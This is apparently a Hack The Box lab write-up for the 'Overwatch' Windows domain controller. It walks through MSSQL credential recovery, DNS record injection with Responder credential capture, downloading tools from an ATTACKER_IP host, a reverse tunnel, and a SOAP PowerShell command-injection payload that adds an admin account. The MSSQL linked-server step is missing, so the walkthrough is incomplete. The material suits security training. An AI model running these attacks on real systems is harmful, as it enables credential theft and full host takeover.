



HACKTHEBOX



Overwatch

20th May 2026

Prepared By: dotguy

Machine Author: xct

Difficulty: **Medium**

Synopsis

Overwatch is a medium-difficulty Windows machine focused on Active Directory enumeration, MSSQL abuse, and insecure .NET application development. Initial access is obtained through an anonymously accessible SMB share containing a custom .NET monitoring application, from which hardcoded MSSQL credentials are recovered. Further enumeration reveals a linked server configuration that can be abused through malicious DNS record injection to coerce MSSQL authentication and capture additional credentials using Responder, ultimately leading to WinRM access. For privilege escalation, the monitoring application is reverse-engineered, revealing a SOAP-based service vulnerable to PowerShell command injection, allowing arbitrary command execution as `NT AUTHORITY\SYSTEM`.

Skills required

- Windows Fundamentals
- SMB Enumeration
- MSSQL Enumeration

Skills learned

- .NET Application Analysis

- Abusing MSSQL Linked Servers
- DNS Record Injection
- Analysing SOAP-based Service
- PowerShell Command Injection

Enumeration

Nmap

Let's run an `Nmap` scan to discover any open ports on the remote host.

```
$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.244.81 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,,$//)
$ nmap -p$ports -sC -sV 10.129.244.81
```

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2026-05-21 12:24:13Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp	open	tcpwrapped	
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
ssl-cert: Subject: commonName=S200401.overwatch.htb			
Not valid before: 2026-05-12T14:36:16			
_Not valid after: 2026-11-11T14:36:16			
_ssl-date: 2026-05-21T12:25:59+00:00; -5h26m30s from scanner time.			
rdp-ntlm-info:			
Target_Name: OVERWATCH			
NetBIOS_Domain_Name: OVERWATCH			
NetBIOS_Computer_Name: S200401			
DNS_Domain_Name: overwatch.htb			
DNS_Computer_Name: S200401.overwatch.htb			
DNS_Tree_Name: overwatch.htb			
Product_Version: 10.0.20348			
_ System_Time: 2026-05-21T12:25:15+00:00			
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-title: Not Found			
_http-server-header: Microsoft-HTTPAPI/2.0			
6520/tcp	open	ms-sql-s	Microsoft SQL Server 2022 16.00.1000.00; RTM
ms-sql-ntlm-info:			

```
| 10.129.244.81:6520:
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|_  Product_Version: 10.0.20348
| ms-sql-info:
| 10.129.244.81:6520:
|   Version:
|     name: Microsoft SQL Server 2022 RTM
|     number: 16.00.1000.00
|     Product: Microsoft SQL Server 2022
|     Service pack level: RTM
|     Post-SP patches applied: false
|_  TCP port: 6520
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-05-20T17:52:33
|_ Not valid after: 2056-05-20T17:52:33
|_ ssl-date: 2026-05-21T12:25:59+00:00; -5h26m31s from scanner time.
9389/tcp open  mc-nmf          .NET Message Framing
49664/tcp open  msrpc           Microsoft Windows RPC
49668/tcp open  msrpc           Microsoft Windows RPC
53801/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
53802/tcp open  msrpc           Microsoft Windows RPC
53809/tcp open  msrpc           Microsoft Windows RPC
53828/tcp open  msrpc           Microsoft Windows RPC
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
```

The host appears to be a Windows Domain Controller running several standard Active Directory services. One particularly interesting service is Microsoft SQL Server running on the uncommon port `6520`.

The hostname and certificate information confirm that the target is `S200401.overwatch.htb`, and the domain is `overwatch.htb`. This indicates that we are working within an Active Directory environment.

To ensure proper name resolution, we add the domain to our `/etc/hosts` file:

```
$ echo "10.129.244.81 overwatch.htb S200401.overwatch.htb" | sudo tee -a /etc/hosts
```

SMB

Since `SMB` is exposed, let's check whether anonymous access is allowed.

```
$ smbclient -L 10.129.244.81
Password for [WORKGROUP\root]:
```

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
software\$	Disk	
SYSVOL	Disk	Logon server share

```
Reconnecting with SMB1 for workgroup listing.
```

An interesting share named `software$` is anonymously accessible. Inside the share, we discover a folder named `Monitoring` containing several `.NET`-related files.

```
$ smbclient \\\10.129.244.81\software$
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
```

.	DH	0	Sat May 17 06:57:07 2025
..	DHS	0	Thu Jan 1 12:16:47 2026
Monitoring	DH	0	Sat May 17 07:02:43 2025

```
7147007 blocks of size 4096. 2261055 blocks available
smb: \> cd Monitoring
smb: \Monitoring\> ls
```

.	DH	0	Sat May 17 07:02:43 2025
..	DH	0	Sat May 17 06:57:07 2025
EntityFramework.dll	AH	4991352	Fri Apr 17 02:08:42 2020
EntityFramework.SqlServer.dll	AH	591752	Fri Apr 17 02:08:56 2020
EntityFramework.SqlServer.xml	AH	163193	Fri Apr 17 02:08:56 2020
EntityFramework.xml	AH	3738289	Fri Apr 17 02:08:40 2020
Microsoft.Management.Infrastructure.dll	AH	36864	Mon Jul 17 20:16:10 2017
overwatch.exe	AH	9728	Sat May 17 06:49:24 2025
overwatch.exe.config	AH	2163	Sat May 17 06:32:30 2025
overwatch.pdb	AH	30208	Sat May 17 06:49:24 2025
System.Data.SQLite.dll	AH	450232	Mon Sep 30 02:11:18 2024
System.Data.SQLite.EF6.dll	AH	206520	Mon Sep 30 02:10:06 2024
System.Data.SQLite.Linq.dll	AH	206520	Mon Sep 30 02:10:42 2024
System.Data.SQLite.xml	AH	1245480	Sun Sep 29 00:18:00 2024
System.Management.Automation.dll	AH	360448	Mon Jul 17 20:16:10 2017
System.Management.Automation.xml	AH	7145771	Mon Jul 17 20:16:10 2017
x64	DH	0	Sat May 17 07:02:33 2025
x86	DH	0	Sat May 17 07:02:33 2025

Let's use `spider_plus` to list and download all the files to our local machine for further analysis.

```
$ netexec smb 10.129.244.81 -u dot -p '' -M spider_plus -o DOWNLOAD_FLAG=True
```

Foothold

Upon inspecting the `overwatch.exe.config` file, we discover that the application exposes a monitoring service at `http://overwatch.htb:8000/MonitorService`.

```
$ cat overwatch.exe.config
<?xml version="1.0" encoding="utf-8"?>
<SNIP>
  <service name="MonitoringService">
    <host>
      <baseAddresses>
        <add baseAddress="http://overwatch.htb:8000/MonitorService" />
      </baseAddresses>
    </host>
  </service>
</SNIP>
```

Although port `8000` was not accessible during external enumeration, the configuration reveals the presence of an internal service that may become useful once we obtain access to the machine.

Since the application is built using `.NET`, we could fully decompile it using a tool like [dotPeek](#) to recover the source code. However, before performing full reverse engineering, we can first run the `strings -el` command to quickly inspect the binary for readable `UTF-16LE` encoded strings, which are commonly used in `.NET` applications.

```
$ strings -el overwatch.exe
'<Oe
Already monitoring.
Monitoring started.
..<SNIP>..
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;
..<SNIP>..
```

We recover hardcoded `MSSQL` credentials for the account `sqlsvc`. Hardcoded credentials inside applications are extremely dangerous because anyone with access to the binary can recover them.

Since `MSSQL` is externally accessible on port `6520`, we can attempt to authenticate using Impacket's `MSSQL` client with the obtained credentials.

- The server no longer exists.
- DNS resolution is broken.
- The hostname was mistyped.

However, the important detail is that `MSSQL` is still attempting to establish a connection to `SQL07`. In Active Directory environments, authenticated users are often allowed to create DNS records by default. Since we already possess valid domain credentials for `sqlsvc`, we can abuse this behaviour to create a malicious DNS record for `SQL07.overwatch.htb` pointing to our attacker machine. As a result, when `MSSQL` attempts to connect to the linked server, the connection is redirected to us, forcing the `SQL` Server service account to authenticate to our machine and allowing us to capture its credentials.

We can use [dnstool](#) from the `krbrelayx` toolkit to create the DNS entry.

```
$ python3 krbrelayx/dnstool.py -u 'overwatch\sqlsvc' -p TI0LKcfHzZw1Vv -r
SQL07.overwatch.htb -a add -t A -d <ATTACKER_IP> 10.129.244.81

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
```

We start `Responder` to capture incoming `MSSQL` authentication attempts.

```
$ responder -I tun0 -v
```

Next, we trigger the linked server connection again on `MSSQL`.

```
SQL> use_link SQL07
```

This forces the target `MSSQL` service to authenticate to our machine, and then `Responder` captures credentials in cleartext.

```
$ responder -I tun0 -v
<SNIP>
[+] Listening for events...

[MSSQL] Received connection from 10.129.244.81
[MSSQL] Cleartext Client : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ( )
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
```

Since `WinRM` is enabled on the target, we attempt to authenticate using `Evil-WinRM` with the obtained credentials for the user `sqlmgmt`.

```
$ evil-winrm -u sqlmgmt -i overwatch.htb -p bIhBbzMMnB82yx
```

```
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami  
overwatch\sqlmgmt
```

The user flag can be found in `C:\Users\sqlmgmt\Desktop\user.txt`.

```
type C:\Users\sqlmgmt\Desktop\user.txt
```

Privilege Escalation

Earlier during SMB enumeration, we discovered the file `overwatch.exe.config`, which revealed that a monitoring service is likely running internally on port `8000` of the remote host. Now that we have shell access to the target, we can verify whether the service is running.

```
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> netstat -ano | findstr 8000  
TCP      0.0.0.0:8000      0.0.0.0:0        LISTENING      4  
TCP      [::]:8000        [::]:0           LISTENING      4
```

Since we cannot access this service from our machine, let's use the `chisel` utility to forward port `8000` from the remote host to our machine.

Set up a `Python` `HTTP` server to serve the `chisel.exe` executable.

```
$ python3 -m http.server 8080
```

Download the executable on the remote host.

```
*Evil-WinRM* PS C:\programdata> curl ATTACKER_IP/chisel.exe -o chisel.exe
```

On our local machine:

```
$ ./chisel_arm server -p 9001 --reverse
```

On the remote host:

```
*Evil-WinRM* PS C:\programdata> .\chisel.exe client ATTACKER_IP:9001 R:8000:127.0.0.1:8000
```

After setting up port forwarding, we can access the monitoring service locally in the browser at `http://localhost:8000/MonitorService`. Browsing to the endpoint reveals a service page containing references to `svcutil.exe`, service operations, and a `wsdl` endpoint. These are strong indicators that the application is exposing a `SOAP`-based web service.

MonitoringService Service

You have created a service.

To test this service, you will need to create a client and use it to call the service. You can do this using the svcutil.exe tool from the command line with the following syntax:

```
svcutil.exe http://overwatch.htb:8000/MonitorService?wsdl
```

You can also access the service description as a single file:

```
http://overwatch.htb:8000/MonitorService?singleWsd1
```

This will generate a configuration file and a code file that contains the client class. Add the two files to your client application and use the generated client class to call the Service. For example:

C#

```
class Test
{
    static void Main()
    {
        MonitoringServiceClient client = new MonitoringServiceClient();

        // Use the 'client' variable to call operations on the service.

        // Always close the client.
        client.Close();
    }
}
```

Visual Basic

```
Class Test
    Shared Sub Main()
        Dim client As MonitoringServiceClient = New MonitoringServiceClient()
        ' Use the 'client' variable to call operations on the service.

        ' Always close the client.
        client.Close()
    End Sub
End Class
```

SOAP (Simple Object Access Protocol) is a protocol that allows applications to communicate by exchanging **XML**-based requests and responses over **HTTP**. Unlike REST APIs, **SOAP** services usually expose a **WSDL** (Web Services Description Language) document that describes the available methods, parameters, and request structure.

Accessing the `/MonitorService?singleWsd1` endpoint confirms this behaviour and reveals the available service operations.

← → ↻ 🏠 http://localhost:8000/MonitorService?singleWsdL

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```
-<wsdl:definitions name="MonitoringService" targetNamespace="http://tempuri.org/">
  -<wsdl:types>
    -<xs:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
      -<xs:element name="StartMonitoring">
        -<xs:complexType>
          <xs:sequence/>
        </xs:complexType>
      </xs:element>
      -<xs:element name="StartMonitoringResponse">
        -<xs:complexType>
          -<xs:sequence>
            <xs:element minOccurs="0" name="StartMonitoringResult" nillable="true" type="xs:string"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
      -<xs:element name="StopMonitoring">
        -<xs:complexType>
          <xs:sequence/>
        </xs:complexType>
      </xs:element>
      -<xs:element name="StopMonitoringResponse">
        -<xs:complexType>
          -<xs:sequence>
            <xs:element minOccurs="0" name="StopMonitoringResult" nillable="true" type="xs:string"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
      -<xs:element name="KillProcess">
        -<xs:complexType>
          -<xs:sequence>
            <xs:element minOccurs="0" name="processName" nillable="true" type="xs:string"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
    </xs:schema>
  </wsdl:types>
</wsdl:definitions>
```

The `WSDL` document exposes the following methods:

- `StartMonitoring`
- `StopMonitoring`
- `KillProcess`

At this point, we can load the application into [dotPeek](#) to inspect the underlying source code and understand how these methods are implemented.

The `KillProcess()` method seems interesting.

```
public string KillProcess(string processName)
{
    string scriptContents = $"Stop-Process -Name {processName} -Force";
    try
    {
        using (Runspace runspace = RunspaceFactory.CreateRunspace())
        {
            runspace.Open();
            using (Pipeline pipeline = runspace.CreatePipeline())
            {
                pipeline.Commands.AddScript(scriptContents);
            }
        }
    }
}
```

```

        pipeline.Commands.Add("Out-String");
        Collection<PSObject> collection = pipeline.Invoke();
        runspace.Close();
        StringBuilder stringBuilder = new StringBuilder();
        foreach (PSObject psObject in collection)
            stringBuilder.AppendLine(psObject.ToString());
        return stringBuilder.ToString();
    }
}
}
catch (Exception ex)
{
    return "Error: " + ex.Message;
}
}
}

```

The vulnerability becomes obvious once we inspect how the `PowerShell` command is constructed. The application directly inserts user-controlled input into a `PowerShell` command.

```
Stop-Process -Name USER_INPUT -Force
```

No sanitization or escaping is performed. This means we can inject additional `PowerShell` commands using separators such as `;`. For example:

```
Stop-Process -Name dummy; whoami
```

The service executes commands using `PowerShell` runspaces. This is important because our injected commands will execute with the same privileges as the service itself. Since the service is running as `SYSTEM`, successful command injection gives us `SYSTEM`-level command execution.

Unlike normal REST APIs, `SOAP` services expect specially formatted `XML` requests. To interact with the vulnerable `KillProcess()` method, we must send a `SOAP` request containing our malicious input.

We can look up [template SOAP messages](#) and craft a payload that:

1. Creates a new user
2. Adds the user to the local `Administrators` group

```

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body><KillProcess
xmlns="http://tempuri.org/"><processName>dummy; net user dotguy Pass@123 /add; net
localgroup administrators dotguy /add</processName> </KillProcess></s:Body></s:Envelope>

```

The final `PowerShell` command executed by the service becomes the following:

```

Stop-Process -Name dummy;
net user dotguy Pass@123 /add;
net localgroup administrators dotguy /add

```

The first command may fail harmlessly since there's no process named "dummy", but the injected commands afterward will still execute.

Let's now send the `SOAP` request via the `winRM` shell using `Invoke-WebRequest`.

```
*Evil-WinRM* PS C:\> $payload = '<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body><KillProcess
xmlns="http://tempuri.org/"><processName>dummy; net user dotguy Pass@123 /add; net
localgroup administrators dotguy /add</processName> </KillProcess></s:Body></s:Envelope>'

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri
"http://localhost:8000/MonitorService" -Method POST -ContentType "text/xml; charset=utf-8"
-Headers @{SOAPAction = "http://tempuri.org/IMonitoringService/KillProcess"} -Body
$payload -usebasicparsing

StatusCode      : 200
StatusDescription : OK
Content         : <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>The command
completed successfully.&#xD;
&#xD;
The command c...
RawContent      : HTTP/1.1 200 OK
Content-Length  : 315
Content-Type    : text/xml; charset=utf-8
Date           : Thu, 21 May 2026 13:03:15 GMT
Server         : Microsoft-HTTPAPI/2.0
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/...
Forms          :
Headers        : {[Content-Length, 315], [Content-Type, text/xml; charset=utf-8],
[Date, Thu, 21 May 2026 13:03:15 GMT], [Server, Microsoft-HTTPAPI/2.0]}
Images         : {}
InputFields    : {}
Links          : {}
ParsedHtml     :
RawContentLength : 315
```

The request succeeds, and we can verify that the new account `dotguy` was successfully created and added to the `Administrators` local group.

```
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> net users dotguy

User name           dotguy
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active       Yes
Account expires      Never

Password last set    5/21/2026 6:03:16 AM
Password expires     7/2/2026 6:03:16 AM
```

```
Password changeable      5/22/2026 6:03:16 AM
Password required        Yes
User may change password  Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               Never

Logon hours allowed      All

Local Group Memberships  *Administrators
Global Group memberships *Domain Users
The command completed successfully.
```

The injected commands executed successfully, and our newly created user has administrative privileges. We can now authenticate using `Evil-WinRM` with the newly created `administrator` account.

```
$ evil-winrm -u dotguy -i overwatch.htb -p Pass@123
Evil-WinRM shell v3.9

*Evil-WinRM* PS C:\Users\dotguy\Documents> whoami
overwatch\dotguy
```

The root flag can be found in `C:\Users\Administrator\Desktop\root.txt`.

```
type C:\Users\Administrator\Desktop\root.txt
```